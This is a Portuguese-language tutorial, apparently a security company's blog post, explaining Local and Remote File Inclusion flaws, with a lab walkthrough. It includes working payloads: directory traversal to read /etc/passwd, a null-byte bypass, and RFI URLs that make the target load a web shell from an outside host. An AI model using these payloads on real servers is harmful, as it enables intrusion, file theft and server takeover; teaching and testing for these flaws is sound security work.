Local File Inclusion e Remote File Inclusion

Local File Inclusion e Remote File Inclusion

O que é Local File Inclusion e Remote File Inclusion?

A falha de local file inclusion permite que o atacante inclua um arquivo para explorar o mecanismo de dynamic file inclusion( inclusão dinâmica de arquivo ) implementado na aplicação web. A falha ocorre devido ao fato de que o atacante pode passar qualquer valor para o parâmetro da aplicação alvo e a mesma não faz a validação correta do valor informado antes de executar a operação. Esse tipo de falha faz com que a aplicação web mostre o conteúdo de alguns arquivos, mas dependendo da severidade, essa falha também permite:

– Execução de código no servidor
– Execução de código no client-side. Por exemplo, JavaScript, o que pode levar a ocorrência de outros tipos de ataques como XSS por exemplo
– Negação de Serviço(DoS)
– Vazamento de informações sensíveis

Local File Inclusion (LFI) é o processo de inclusão de arquivos, que já estão presentes localmente no servidor em questão, através da exploração de processos de inclusão vulneráveis, implementados na aplicação web.
Esta falha ocorre, por exemplo, quando uma página recebe como entrada, o caminho para o arquivo que será incluído, e esta entrada não é validada de forma correta pela aplicação web, possibilitando assim que caracteres de directory traversal(../../) sejam injetados.

Apesar de que a maior parte desse tipo de falha se manifeste em aplicações PHP, é muito importante lembrar que ela também pode ocorrer em JSP, ASPX e outras tecnologias.

Remote File Inclusion (RFI) é o processo de inclusão de arquivos remotos, através da exploração dos processos de inclusão vulneráveis, implementados na aplicação web.
Esta falha ocorre, por exemplo, quando uma página recebe como entrada, o caminho para o arquivo que será incluído, e esta entrada não é validada de forma correta pela aplicação web, permitindo assim que uma URL externa seja injetada na aplicação.

Apesar de que a maior parte desse tipo de falha se manifeste em aplicações PHP, é muito importante lembrar que ela também pode ocorrer em JSP, ASPX e outras tecnologias.

Explicação de como o Local File Inclusion e Remote File Inclusion ocorrem

Os exemplos inclusos no lab são vulneráveis tanto para LFI quanto para RFI.

1º exemplo:

Em um teste blackbox nós devemos procurar por partes da aplicação, cuja o parâmetro receba algum arquivo como valor. Este é o exemplo mais comum para encontrar esse tipo de falha.

http://[IP ou domínio]/fileincl/example1.php?page=intro.php

A URL acima é um excelente exemplo de como podemos procurar por LFI ou RFI, uma vez que o parâmetro ” page ” recebe um arquivo como valor.

Um prova de conceito típica é tentar acessar o arquivo passwd. Para isso realizamos a seguinte requisição:

http://[IP ou domínio]/fileincl/example1.php?page=../../../../../etc/passwd

Como a aplicação que estamos testando é vulnerável a LFI, a mesma irá nós retornar o conteúdo do arquivo passwd.

Para explorar a falha de RFI você precisa apenas passar a URL de onde está hospedado seu shell.

http://[IP ou domínio]/fileincl/example1.php?page=http://www.w0rms.com/shell/wso.txt

A aplicação irá processar o shell.txt, e o shell será executado no servidor da alvo.


2º exemplo:

Algumas aplicações web implementam medidas de segurança em relação a extensão de arquivos, ou seja, mesmo que a aplicação seja vulnerável tanto a LFI quanto a RFI o payload ” ../../../../../etc/passwd ” não vai executar. Para isso temos que bypass essa implementação utilizando o null-byte(%00).

http://[IP ou domínio]/fileincl/example1.php?page=../../../../../etc/passwd%00

E para RFI:

http://[IP ou domínio]/fileincl/example1.php?page=http://www.w0rms.com/shell/wso.txt%00

Vamos práticar?

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]